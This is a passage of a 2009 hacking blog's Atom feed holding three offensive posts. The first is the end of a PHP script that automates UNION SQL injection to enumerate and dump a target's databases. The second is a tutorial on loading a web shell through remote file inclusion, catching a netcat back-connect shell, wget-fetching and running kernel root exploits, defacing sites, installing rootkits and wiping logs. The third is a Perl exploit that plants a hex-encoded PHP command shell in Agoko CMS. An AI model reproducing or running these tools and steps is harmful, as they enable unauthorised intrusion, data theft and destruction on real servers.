/&gt;&amp;lt;div id=findcol&amp;gt;&lt;br /&gt;  ex_url : http://www.target.com/vulner.php?id=-1+union+select+1,k0pl0,3,4,5,6,7,8,9&lt;br /&gt;  &amp;lt;form method=post&amp;gt;&lt;br /&gt;  Target &amp;lt;input name=target size=100 value=&amp;quot;&amp;lt;?=$target;?&amp;gt;&amp;quot;&amp;gt;&amp;lt;input type=submit value=test&amp;gt;&lt;br /&gt;  &amp;lt;/form&amp;gt;&lt;br /&gt;  &amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;?&lt;br /&gt;/* GET DATABASE NAME */&lt;br /&gt;  if(isset($url) &amp;amp;&amp;amp; $fungsi==&amp;quot;db&amp;quot;){&lt;br /&gt;  $countdb=&amp;quot;concat(0x6b30706c30,count(schema_name),0x6b30706c30)&amp;quot;;&lt;br /&gt;  $showdb=&amp;quot;concat(0x6b30706c30,schema_name,0x6b30706c30)&amp;quot;;&lt;br /&gt;  $showdb2=&amp;quot;+from+information_schema.schemata&amp;quot;;&lt;br /&gt;  $end=&amp;quot;--&amp;quot;;&lt;br /&gt;  //print &amp;quot;$url &amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;  $url_1=str_replace(&amp;quot;k0pl0&amp;quot;,$countdb,$url);&lt;br /&gt;  $url_2=$url_1.$showdb2.$end;&lt;br /&gt;  $url_3=str_replace(&amp;quot;k0pl0&amp;quot;,$showdb,$url);&lt;br /&gt;  $data=file_get_contents($url_2);&lt;br /&gt;  $jumlah=antara($data,&amp;quot;k0pl0&amp;quot;,&amp;quot;k0pl0&amp;quot;);&lt;br /&gt;  echo &amp;quot;$jumlah database&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;  for($i=0;$i&amp;lt;$jumlah;$i++){&lt;br /&gt;  flush();&lt;br /&gt;  $nomor=($i+1);&lt;br /&gt;  $urlx=$url_3.$showdb2.&amp;quot;+limit+$i,1&amp;quot;.$end;&lt;br /&gt;  $datax=file_get_contents($urlx);&lt;br /&gt;  $namadatabase=antara($datax,&amp;quot;k0pl0&amp;quot;,&amp;quot;k0pl0&amp;quot;);&lt;br /&gt;  echo &amp;quot;$nomor : $namadatabase &amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;  flush();&lt;br /&gt;  }&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;/* GET TABLE NAME */&lt;br /&gt;  if(isset($url) &amp;amp;&amp;amp; $fungsi == &amp;quot;table&amp;quot;){&lt;br /&gt;  $query=&amp;quot;concat(0x6b30706c30,count(table_name),0x6b30706c30)&amp;quot;;&lt;br /&gt;  $next=&amp;quot;+from+information_schema.tables&amp;quot;;&lt;br /&gt;  $query2=&amp;quot;concat(0x6b30706c30,table_name,0x6b30706c30)&amp;quot;;&lt;br /&gt;  $end=&amp;quot;--&amp;quot;;&lt;br /&gt;if(isset($db) &amp;amp;&amp;amp; $db !==&amp;quot;&amp;quot;){&lt;br /&gt;  $next=$next.&amp;quot;+where+table_schema=0x&amp;quot;.bin2hex($db);&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;$url_1=str_replace(&amp;quot;k0pl0&amp;quot;,$query,$url);&lt;br /&gt;  $url_2=$url_1.$next.$end;&lt;br /&gt;  $url_3=str_replace(&amp;quot;k0pl0&amp;quot;,$query2,$url);&lt;br /&gt;  //echo &amp;quot;inject : $url_2&amp;quot;;&lt;br /&gt;  $data=file_get_contents($url_2);&lt;br /&gt;  //echo $data;&lt;br /&gt;  $jumlah=antara($data,&amp;quot;k0pl0&amp;quot;,&amp;quot;k0pl0&amp;quot;);&lt;br /&gt;  echo &amp;quot;&amp;lt;br&amp;gt;$jumlah tables&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;  for($i=0;$i&amp;lt;$jumlah;$i++){&lt;br /&gt;  flush();&lt;br /&gt;  $nomor=($i+1);&lt;br /&gt;  $urlx=$url_3.$next.&amp;quot;+limit+$i,1&amp;quot;.$end;&lt;br /&gt;  $datax=file_get_contents($urlx);&lt;br /&gt;  $namatable=antara($datax,&amp;quot;k0pl0&amp;quot;,&amp;quot;k0pl0&amp;quot;);&lt;br /&gt;  echo &amp;quot;$nomor : $namatable &amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;  flush();&lt;br /&gt;  }&lt;br /&gt;  }&lt;br /&gt;// GET COLUMN NAME LIST&lt;br /&gt;  if(isset($url) &amp;amp;&amp;amp; $url3 !== &amp;quot;&amp;quot; &amp;amp;&amp;amp; isset($table) &amp;amp;&amp;amp; $table !== &amp;quot;&amp;quot; &amp;amp;&amp;amp; $fungsi == &amp;quot;column&amp;quot;){&lt;br /&gt;  $query=&amp;quot;concat(0x6b30706c30,count(column_name),0x6b30706c30)&amp;quot;;&lt;br /&gt;  $next=&amp;quot;+from+information_schema.columns+where+table_name=0x&amp;quot;.bin2hex($table);&lt;br /&gt;  $query2=&amp;quot;concat(0x6b30706c30,column_name,0x6b30706c30)&amp;quot;;&lt;br /&gt;  $end=&amp;quot;--&amp;quot;;&lt;br /&gt;if(isset($db) &amp;amp;&amp;amp; $db !==&amp;quot;&amp;quot;){&lt;br /&gt;  $next=$next.&amp;quot;+and+table_schema=0x&amp;quot;.bin2hex($db);&lt;br /&gt;  }&lt;br /&gt;$url_1=str_replace(&amp;quot;k0pl0&amp;quot;,$query,$url);&lt;br /&gt;  $url_2=$url_1.$next.$end;&lt;br /&gt;  $url_3=str_replace(&amp;quot;k0pl0&amp;quot;,$query2,$url);&lt;br /&gt;  //echo &amp;quot;inject : $url_2&amp;quot;;&lt;br /&gt;  $data=file_get_contents($url_2);&lt;br /&gt;  //echo $data;&lt;br /&gt;  $jumlah=antara($data,&amp;quot;k0pl0&amp;quot;,&amp;quot;k0pl0&amp;quot;);&lt;br /&gt;  echo &amp;quot;&amp;lt;br&amp;gt;$jumlah Columns&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;  for($i=0;$i&amp;lt;$jumlah;$i++){&lt;br /&gt;  flush();&lt;br /&gt;  $nomor=($i+1);&lt;br /&gt;  $urlx=$url_3.$next.&amp;quot;+limit+$i,1&amp;quot;.$end;&lt;br /&gt;  //echo $urlx;&lt;br /&gt;  $datax=file_get_contents($urlx);&lt;br /&gt;  $namatable=antara($datax,&amp;quot;k0pl0&amp;quot;,&amp;quot;k0pl0&amp;quot;);&lt;br /&gt;  echo &amp;quot;$nomor : $namatable &amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;  flush();&lt;br /&gt;  }&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;// DUMB DATA&lt;br /&gt;  if($fungsi==&amp;quot;dump&amp;quot; &amp;amp;&amp;amp; isset($url) &amp;amp;&amp;amp; $url !== &amp;quot;&amp;quot; &amp;amp;&amp;amp; isset($table) &amp;amp;&amp;amp; $table !== &amp;quot;&amp;quot; &amp;amp;&amp;amp; isset($column) &amp;amp;&amp;amp; $column !==&amp;quot;&amp;quot; ){&lt;br /&gt;  $query=&amp;quot;concat(0x6b30706c30,count(*),0x6b30706c30)&amp;quot;;&lt;br /&gt;  $next=&amp;quot;+from+$table&amp;quot;;&lt;br /&gt;  $query2=&amp;quot;concat(0x6b30706c30,concat_ws(0x203a20,&amp;quot;.$column.&amp;quot;),0x6b30706c30)&amp;quot;;&lt;br /&gt;  $end=&amp;quot;--&amp;quot;;&lt;br /&gt;if(isset($db) &amp;amp;&amp;amp; $db !==&amp;quot;&amp;quot;){&lt;br /&gt;  $next=&amp;quot;+from+$db.$table&amp;quot;;&lt;br /&gt;  }&lt;br /&gt;$url_1=str_replace(&amp;quot;k0pl0&amp;quot;,$query,$url);&lt;br /&gt;  $url_2=$url_1.$next.$end;&lt;br /&gt;  $url_3=str_replace(&amp;quot;k0pl0&amp;quot;,$query2,$url);&lt;br /&gt;  //echo &amp;quot;inject : $url_2&amp;quot;;&lt;br /&gt;  $data=file_get_contents($url_2);&lt;br /&gt;  //echo $data;&lt;br /&gt;  $jumlah=antara($data,&amp;quot;k0pl0&amp;quot;,&amp;quot;k0pl0&amp;quot;);&lt;br /&gt;  echo &amp;quot;&amp;lt;br&amp;gt;$jumlah data&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;  for($i=$start;$i&amp;lt;=$stop;$i++){&lt;br /&gt;  flush();&lt;br /&gt;  $nomor=$i;&lt;br /&gt;  $urlx=$url_3.$next.&amp;quot;+limit+$i,1&amp;quot;.$end;&lt;br /&gt;  //echo $urlx;&lt;br /&gt;  $datax=file_get_contents($urlx);&lt;br /&gt;  $namatable=antara($datax,&amp;quot;k0pl0&amp;quot;,&amp;quot;k0pl0&amp;quot;);&lt;br /&gt;  echo &amp;quot;$nomor : $namatable &amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;  flush();&lt;br /&gt;  }&lt;br /&gt;  }&lt;br /&gt;// GET MAGIC NUMBER&lt;br /&gt;  if(isset($target) &amp;amp;&amp;amp; $taget !== &amp;quot;&amp;quot;){&lt;br /&gt;  echo &amp;quot;trying... 1 &amp;quot;;&lt;br /&gt;  $targetx=$target.&amp;quot;-1+union+select+0x6b30706c30&amp;quot;;&lt;br /&gt;  $targety=$target.&amp;quot;-1+union+select+1&amp;quot;;&lt;br /&gt;  $injek=&amp;quot;&amp;quot;;&lt;br /&gt;  $y=&amp;quot;&amp;quot;;&lt;br /&gt;  $end=&amp;quot;--&amp;quot;;&lt;br /&gt;  for($i=1;$i&amp;lt;100;$i++){&lt;br /&gt;  flush();&lt;br /&gt;  $y .= &amp;quot;,&amp;quot;.($i+1);&lt;br /&gt;  $oon=($i+1).&amp;quot;oon&amp;quot;;&lt;br /&gt;  $hexx=bin2hex($oon);&lt;br /&gt;  $injek.=&amp;quot;,0x6b30706c30&amp;quot;.$hexx;&lt;br /&gt;  $link=$targetx.$injek;&lt;br /&gt;  $akhir = $link.$end;&lt;br /&gt;  //echo $akhir;&lt;br /&gt;  echo ($i+1).&amp;quot; &amp;quot;;&lt;br /&gt;  $data=file_get_contents($akhir);&lt;br /&gt;  if(eregi(&amp;quot;k0pl0&amp;quot;,$data)){&lt;br /&gt;  $magicnumber=antara($data,&amp;quot;k0pl0&amp;quot;,&amp;quot;oon&amp;quot;);&lt;br /&gt;  $mbuh=&amp;quot;,&amp;quot;.$magicnumber.&amp;quot;,&amp;quot;;&lt;br /&gt;  $zzz=str_replace($mbuh,&amp;quot;,k0pl0,&amp;quot;,$targety.$y);&lt;br /&gt;  $linkinjek=$targety.$y.$end;&lt;br /&gt;  echo &amp;quot;&amp;lt;br&amp;gt;VULNER : $zzz&amp;lt;br&amp;gt;Magic number= $magicnumber&amp;lt;br&amp;gt;&amp;lt;a href=$linkinjek target=\&amp;quot;_blank\&amp;quot;&amp;gt;$linkinjek&amp;lt;/a&amp;gt;&amp;lt;p&amp;gt;&amp;lt;b&amp;gt;info&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&amp;quot;;&lt;br /&gt;  $ambilinfo=str_replace(&amp;quot;k0pl0&amp;quot;,&amp;quot;concat(0x6b30706c30,concat_ws(0x3c62723e,concat(0x64617461626173652076657273696f6e203a20,version()),concat(0x64617461626173652075736572203a20,user()),concat(0x6461746162617365206e616d65203a20,database())),0x6b30706c30)&amp;quot;,$zzz).$end;&lt;br /&gt;  $datainfo=file_get_contents($ambilinfo);&lt;br /&gt;  $info=antara($datainfo,&amp;quot;k0pl0&amp;quot;,&amp;quot;k0pl0&amp;quot;);&lt;br /&gt;  echo $info;&lt;br /&gt;  break;&lt;br /&gt;  }&lt;br /&gt;  if($i==&amp;quot;99&amp;quot;){echo &amp;quot;&amp;lt;br&amp;gt;&amp;lt;font color=red&amp;gt;&amp;lt;b&amp;gt;Maybe this site is not Vulner, or you can try to inject it manually :)&amp;lt;b&amp;gt;&amp;lt;/font&amp;gt;&amp;quot;;}&lt;br /&gt;  flush();&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt; function antara($string, $start, $end){&lt;br /&gt;  $string = &amp;quot; &amp;quot;.$string;&lt;br /&gt;  $ini = strpos($string,$start);&lt;br /&gt;  if ($ini == 0) return &amp;quot;&amp;quot;;&lt;br /&gt;  $ini += strlen($start);&lt;br /&gt;  $len = strpos($string,$end,$ini) - $ini;&lt;br /&gt;  return substr($string,$ini,$len);&lt;br /&gt; &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7303225039625329658-381776334337239307?l=matthews-diablo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://matthews-diablo.blogspot.com/feeds/381776334337239307/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://matthews-diablo.blogspot.com/2009/09/sourcode-sqltoolsphp.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/381776334337239307'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/381776334337239307'/><link rel='alternate' type='text/html' href='http://matthews-diablo.blogspot.com/2009/09/sourcode-sqltoolsphp.html' title='Sourcode sqltools.php'/><author><name>matthews</name><uri>http://www.blogger.com/profile/10585670491923691863</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_dwahXHUsR58/SpYKyGDma5I/AAAAAAAAABg/smf60jcCkFU/S220/nyubicrew.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7303225039625329658.post-1062440233794772172</id><published>2009-09-12T18:12:00.000-07:00</published><updated>2009-09-12T18:14:13.417-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tutorial'/><title type='text'>Local Root via NetCat</title><content type='html'>take from BABY CORP&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;You will need:&lt;br /&gt;Quote:&lt;br /&gt;- Vulnerable Site in R.F.I.&lt;br /&gt;- Shell for R.F.I. (e.g. c99, r57 or other)&lt;br /&gt;- NetCat&lt;br /&gt;- Local Root Exploit (depending on the kernel and the version)&lt;br /&gt;&lt;br /&gt;This aim tutorial is to give a very general picture in process of Rooting in Linux Server with Safe Mod: OFF.Suppose that we have found a site with RFI vulnerability:&lt;br /&gt;&lt;br /&gt;Code:&lt;br /&gt;&lt;br /&gt;http://www.hackedsite.com/folder/index.html?page=&lt;br /&gt;&lt;br /&gt;e can run shell exploiting Remote File Inclusion, as follows:&lt;br /&gt;&lt;br /&gt;Code:&lt;br /&gt;&lt;br /&gt;http://www.hackedsite.com/folder/index.html?page=http://www.mysite.com/shells/evilscript.txt?&lt;br /&gt;&lt;br /&gt;where evilscript.txt is our web shell that we have already uploaded to our site. (www.mysite.com in the folder: shells)&lt;br /&gt;&lt;br /&gt;After we enter in shell, first of all we will see the version of the kernel at the top of the page or by typing: uname – a in Command line.&lt;br /&gt;&lt;br /&gt;To continue we must connect with backconnection to the box. This can done with two ways if we have the suitable shell.&lt;br /&gt;&lt;br /&gt;We can use the Back-Connect module of r57/c99 shell or to upload a backconnector in a writable folder&lt;br /&gt;&lt;br /&gt;In most of the shells there is a backconnection feature without to upload the Connect Back Shell (or another one shell in perl/c). We will analyze the first way which is inside the shell (in our example the shell is r57).&lt;br /&gt;&lt;br /&gt;Initially we open NetCat and give to listen in a specific port (this port must be correctly opened/forwarded in NAT/Firewall if we have a router) with the following way:&lt;br /&gt;&lt;br /&gt;We will type: 11457 in the port input (This is the default port for the last versions of r57 shell). We can use and other port.&lt;br /&gt;&lt;br /&gt;We press in Windows Start -&gt; Run -&gt; and we type: cmd&lt;br /&gt;&lt;br /&gt;After we will go to the NetCat directory:&lt;br /&gt;&lt;br /&gt;Quote:&lt;br /&gt;&lt;br /&gt;cd C:\Program Files\Netcat&lt;br /&gt;And we type the following command:&lt;br /&gt;Quote:&lt;br /&gt;nc -n -l -v -p 11456&lt;br /&gt;NetCat respond: listening on [any] 11456 …&lt;br /&gt;&lt;br /&gt;In the central page of r57 shell we find under the following menu::: Net:: and back-connect. In the IP Form we will type our IP (www.cmyip.com to see our ip if we have dynamic)&lt;br /&gt;&lt;br /&gt;In the Port form we will put the port that we opened and NetCat listens.&lt;br /&gt;&lt;br /&gt;If we press connect the shell will respond:&lt;br /&gt;&lt;br /&gt;Now script try connect to port 11456 …&lt;br /&gt;&lt;br /&gt;If our settings are correct NetCat will give us a shell to the server&lt;br /&gt;&lt;br /&gt;Now we wil continue to the Rooting proccess.&lt;br /&gt;&lt;br /&gt;We must find a writable folder in order to download and compile the Local Root Exploit that will give us root priviledges in the box. Depending on the version of the Linux kernel there are different exploits. Some times the exploits fail to run because some boxes are patched or we don’t have the correct permissions.List of the exploits/kernel:&lt;br /&gt;&lt;br /&gt;Quote:&lt;br /&gt;2.4.17 -&gt; newlocal, kmod, uselib24&lt;br /&gt;2.4.18 -&gt; brk, brk2, newlocal, kmod&lt;br /&gt;2.4.19 -&gt; brk, brk2, newlocal, kmod&lt;br /&gt;2.4.20 -&gt; ptrace, kmod, ptrace-kmod, brk, brk2&lt;br /&gt;2.4.21 -&gt; brk, brk2, ptrace, ptrace-kmod&lt;br /&gt;2.4.22 -&gt; brk, brk2, ptrace, ptrace-kmod&lt;br /&gt;2.4.22-10 -&gt; loginx&lt;br /&gt;2.4.23 -&gt; mremap_pte&lt;br /&gt;2.4.24 -&gt; mremap_pte, uselib24&lt;br /&gt;2.4.25-1 -&gt; uselib24&lt;br /&gt;2.4.27 -&gt; uselib24&lt;br /&gt;2.6.2 -&gt; mremap_pte, krad, h00lyshit&lt;br /&gt;2.6.5 -&gt; krad, krad2, h00lyshit&lt;br /&gt;2.6.6 -&gt; krad, krad2, h00lyshit&lt;br /&gt;2.6.7 -&gt; krad, krad2, h00lyshit&lt;br /&gt;2.6.8 -&gt; krad, krad2, h00lyshit&lt;br /&gt;2.6.8-5 -&gt; krad2, h00lyshit&lt;br /&gt;2.6.9 -&gt; krad, krad2, h00lyshit&lt;br /&gt;2.6.9-34 -&gt; r00t, h00lyshit&lt;br /&gt;2.6.10 -&gt; krad, krad2, h00lyshit&lt;br /&gt;2.6.13 -&gt; raptor, raptor2, h0llyshit, prctl&lt;br /&gt;2.6.14 -&gt; raptor, raptor2, h0llyshit, prctl&lt;br /&gt;2.6.15 -&gt; raptor, raptor2, h0llyshit, prctl&lt;br /&gt;2.6.16 -&gt; raptor, raptor2, h0llyshit, prctl&lt;br /&gt;&lt;br /&gt;We will see the case of 2.6.8 Linux kernel. We will need the h00lyshit exploit.&lt;br /&gt;&lt;br /&gt;Some sites that we can find Local Root Exploits:&lt;br /&gt;&lt;br /&gt;milw0rm (Try Search: “linux kernel”)&lt;br /&gt;&lt;br /&gt;Other sites: www.packetstormsecurity.org | www.milw0rm.com or try Googlin’ you can find ‘em all ;-)&lt;br /&gt;&lt;br /&gt;We can find writable folders/files by typing:&lt;br /&gt;Code:&lt;br /&gt;&lt;br /&gt;find / -perm -2 -ls&lt;br /&gt;&lt;br /&gt;We can use the /tmp folder which is a standard writable folder&lt;br /&gt;&lt;br /&gt;We type:&lt;br /&gt;Code:&lt;br /&gt;&lt;br /&gt;cd /tmp&lt;br /&gt;&lt;br /&gt;To download the local root exploit we can use a download command for linux like wget.&lt;br /&gt;&lt;br /&gt;For example:&lt;br /&gt;Quote:&lt;br /&gt;wget http://www.yoursite.com/localroot/h00lyshit.c&lt;br /&gt;where http://www.yoursite.com/localroot/h00lyshit.c is the url of h00lyshit.&lt;br /&gt;&lt;br /&gt;After the download we must compile the exploit (Read the instruction of the exploit before the compile)&lt;br /&gt;&lt;br /&gt;For the h00lyshit we must type:&lt;br /&gt;Code:&lt;br /&gt;&lt;br /&gt;gcc h00lyshit.c -o h00lyshit&lt;br /&gt;&lt;br /&gt;Now we have created the executable file: h00lyshit.&lt;br /&gt;&lt;br /&gt;The command to run this exploit is:&lt;br /&gt;Code:&lt;br /&gt;&lt;br /&gt;./h00lyshit&lt;br /&gt;&lt;br /&gt;We need a very big file on the disk in order to run successfully and to get root.&lt;br /&gt;&lt;br /&gt;We must create a big file in /tmp or into another writable folder.&lt;br /&gt;&lt;br /&gt;The command is:&lt;br /&gt;Code:&lt;br /&gt;&lt;br /&gt;dd if=/dev/urandom of=largefile count=2M&lt;br /&gt;&lt;br /&gt;where largefile is the filename.&lt;br /&gt;&lt;br /&gt;We must wait 2-3 minutes for the file creation&lt;br /&gt;&lt;br /&gt;If this command fails we can try:&lt;br /&gt;Code:&lt;br /&gt;&lt;br /&gt;dd if=/dev/zero of=/tmp/largefile count=102400 bs=1024&lt;br /&gt;&lt;br /&gt;Now we can procced to the last step. We can run the exploit by typing:&lt;br /&gt;Code:&lt;br /&gt;&lt;br /&gt;./h00lyshit largefile or&lt;br /&gt;&lt;br /&gt;./h00lyshit /tmp/largefile&lt;br /&gt;&lt;br /&gt;(If we are in a different writable folder and the largefile is created in /tmp)&lt;br /&gt;&lt;br /&gt;If there are not running errors (maybe the kernel is patched or is something wrong with exploit run or large file) we will get root&lt;br /&gt;&lt;br /&gt;To check if we got root:&lt;br /&gt;&lt;br /&gt;id or&lt;br /&gt;&lt;br /&gt;whoami&lt;br /&gt;&lt;br /&gt;If it says root we got root!&lt;br /&gt;&lt;br /&gt;Now we can deface/mass deface all the sites of the server or to setup a rootkit (e.g. SSHDoor) and to take ssh/telnet shell access to the server.&lt;br /&gt;&lt;br /&gt;We must erase all logs in order to be safe with a log cleaner. A good cleaner for this job is the MIG Log Cleaner.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7303225039625329658-1062440233794772172?l=matthews-diablo.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://matthews-diablo.blogspot.com/feeds/1062440233794772172/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://matthews-diablo.blogspot.com/2009/09/local-root-via-netcat.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/1062440233794772172'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7303225039625329658/posts/default/1062440233794772172'/><link rel='alternate' type='text/html' href='http://matthews-diablo.blogspot.com/2009/09/local-root-via-netcat.html' title='Local Root via NetCat'/><author><name>matthews</name><uri>http://www.blogger.com/profile/10585670491923691863</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://3.bp.blogspot.com/_dwahXHUsR58/SpYKyGDma5I/AAAAAAAAABg/smf60jcCkFU/S220/nyubicrew.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7303225039625329658.post-3571804061700496218</id><published>2009-09-12T06:09:00.000-07:00</published><updated>2009-09-12T06:10:04.544-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='vulnerabilities'/><title type='text'>Agoko CMS &lt;= 0.4 remote commands execution exploit</title><content type='html'>#!/usr/bin/perl&lt;br /&gt;&lt;br /&gt;print q~&lt;br /&gt;--------------------------------------------------&lt;br /&gt;Agoko CMS &lt;= 0.4 remote commands execution exploit&lt;br /&gt;by staker&lt;br /&gt;mail: staker[at]hotmail[dot]it&lt;br /&gt;--------------------------------------------------&lt;br /&gt;&lt;br /&gt;[*] Usage   -&gt; perl [xpl.pl] [host] [path]&lt;br /&gt;[*] Example -&gt; perl agk.pl localhost /Agoko&lt;br /&gt;&lt;br /&gt;~;&lt;br /&gt;&lt;br /&gt;         &lt;br /&gt;#&gt;-----------&lt;#&lt;br /&gt;#&gt;- Working -&lt;#&lt;br /&gt;#&gt;-----------&lt;#########################################&lt;br /&gt;# staker[death]:~/Desktop$ perl a.pl 127.0.0.1 /agoko #&lt;br /&gt;#                                                     #&lt;br /&gt;# --------------------------------------------------  #&lt;br /&gt;# Agoko CMS &lt;= 0.4 remote commands execution exploit  #&lt;br /&gt;# by staker                                           #&lt;br /&gt;# mail: staker[at]hotmail[dot]it                      #&lt;br /&gt;# --------------------------------------------------  #&lt;br /&gt;#                                                     #&lt;br /&gt;# [*] Usage   -&gt; perl [xpl.pl] [host] [path]          #&lt;br /&gt;# [*] Example -&gt; perl agk.pl localhost /Agoko         #&lt;br /&gt;#                                                     #&lt;br /&gt;# shell already exists.                               #&lt;br /&gt;#                                                     #&lt;br /&gt;# Agoko[shell]:~$ uname -n -r                         #&lt;br /&gt;#                                                     #&lt;br /&gt;# death 2.6.27-7-generic                              #&lt;br /&gt;#######################################################&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;use IO::Socket;&lt;br /&gt;use LWP::Simple;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;my $host = shift;&lt;br /&gt;my $path = shift || exit(0);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;check_shell($host,$path);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;sub check_shell() {&lt;br /&gt;     my $host = $_[0];&lt;br /&gt;     my $path = $_[1] || die $!;&lt;br /&gt;     &lt;br /&gt;     my $packet = "GET /$path/content/shell_vup.php HTTP/1.1\r\n".&lt;br /&gt;                  "Host: $host\r\n".&lt;br /&gt;                  "Cookie: bany=love_me\r\n".&lt;br /&gt;                  "User-Agent: Lynx (textmode)\r\n".&lt;br /&gt;                  "Connection: close\r\n\r\n";&lt;br /&gt;     &lt;br /&gt;     if (give_kt($host,$packet) =~ /bany wtf/i) {&lt;br /&gt;        print "[*] shell already exists.\n";&lt;br /&gt;        load_cmd($host,$path);&lt;br /&gt;     }&lt;br /&gt;     else {&lt;br /&gt;        print "[*] exploiting..\n";&lt;br /&gt;        inject_shell($host,$path);&lt;br /&gt;     }      &lt;br /&gt;}     &lt;br /&gt;                  &lt;br /&gt;&lt;br /&gt;sub inject_shell() {&lt;br /&gt;     my ($host,$path) = @_;  &lt;br /&gt;     &lt;br /&gt;     my $shell = "\x3C\x3F\x70\x68\x70\x20\x20\x20\x20\x20\x20\x65\x72\x72".&lt;br /&gt;                 "\x6F\x72\x5F\x72\x65\x70\x6F\x72\x74\x69\x6E\x67\x28\x45".&lt;br /&gt;                 "\x5F\x41\x4C\x4C\x29\x3B\x20\x20\x20\x20\x20\x20\x20\x20".&lt;br /&gt;                 "\x20\x20\x20\x20\x69\x66\x20\x28\x69\x73\x73\x65\x74\x28".&lt;br /&gt;                 "\x24\x5F\x47\x45\x54\x5B\x27\x63\x6D\x64\x27\x5D\x29\x29".&lt;br /&gt;                 "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x70\x61\x73\x73".&lt;br /&gt;                 "\x74\x68\x72\x75\x28\x73\x74\x72\x69\x70\x73\x6C\x61\x73".&lt;br /&gt;                 "\x68\x65\x73\x28\x24\x5F\x47\x45\x54\x5B\x27\x63\x6D\x64".&lt;br /&gt;                 "\x27\x5D\x29\x29\x3B\x20\x20\x20\x20\x20\x20\x65\x6C\x73".&lt;br /&gt;                 "\x65\x20\x20\x20\x20\x20\x20\x20\x20\x20\x64\x69\x65\x28".&lt;br /&gt;                 "\x22\x62\x61\x6E\x79\x20\x77\x74\x66\x22\x29\x3B\x20\x20".&lt;br /&gt;                 "\x20\x20\x20\x20\x3F\x3E\x20";&lt;br /&gt;     &lt;br /&gt;     &lt;br /&gt;     my $data = "filename=shell_vup.php\x00&amp;text=$shell&amp;Submit=Speichern";&lt;br /&gt;     &lt;br /&gt;     my $packet = "POST /$path/admintools/editpage-2.php HTTP/1.1\r\n".&lt;br /&gt;                  "Host: $host\r\n".&lt;br /&gt;                  "User-Agent: Mozilla/4.5 [en] (Win95; U)\r\n".&lt;br /&gt;                  "Cookie: bany=love_me\r\n".&lt;br /&gt;                  "Content-Type: application/x-www-form-urlencoded\r\n".&lt;br /&gt;                  "Content-Length: ".length($data)."\r\n".&lt;br /&gt;                  "Connection: close\r\n\r\n".&lt;br /&gt;                   $data;      &lt;br /&gt;     &lt;br /&gt;     if (give_kt($host,$packet) =~ /erfolgreich eingetragen/i) &lt;br /&gt;     {&lt;br /&gt;         load_cmd($host,$path) &lt;br /&gt;     }&lt;br /&gt;     else &lt;br /&gt;     {&lt;br /&gt;         die "[*] Exploit failed.\n";&lt;br /&gt;     }        &lt;br /&gt;     &lt;br /&gt;}                        &lt;br /&gt;   &lt;br /&gt;&lt;br /&gt;sub load_cmd() {&lt;br /&gt;     my $host = $_[0];&lt;br /&gt;     my $path = $_[1];&lt;br /&gt;     &lt;br /&gt;     while (1) &lt;br /&gt;     {&lt;br /&gt;          print "\nAgoko[shell]:~\$ ";&lt;br /&gt;          chomp (my $cmd = &lt;STDIN&gt;);&lt;br /&gt;          &lt;br /&gt;          exit(0) if $cmd =~ /^(exit|quit|out)+$/i;&lt;br /&gt;          &lt;br /&gt;          getprint("http://$host/$path/content/shell_vup.php?cmd=$cmd");&lt;br /&gt;     }     &lt;br /&gt;}&lt;br /&gt;          &lt;br /&gt;         &lt;br /&gt;sub give_kt() {&lt;br /&gt;     my $input = $_[0];&lt;br /&gt;     my $heads = $_[1] || die $!;&lt;br /&gt;     &lt;br /&gt;     my $result;&lt;br /&gt;     my $socket = IO::Socket::INET-&gt;new(&lt;br /&gt;                                         PeerAddr =&gt; $input,&lt;br /&gt;                                         PeerPort =&gt; 80,&lt;br /&gt;                                         Proto    =&gt; 'tcp'&lt;br /&gt;                                       ) || die $!;&lt;br /&gt;     &lt;br /&gt;     $socket-&gt;send($heads);&lt;br /&gt;     &lt;br /&gt;     while (&lt;$socket&gt;) { $result .= $_; }&lt;br /&gt;     &lt;br /&gt;     return $result;&lt;br /&gt;}&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' 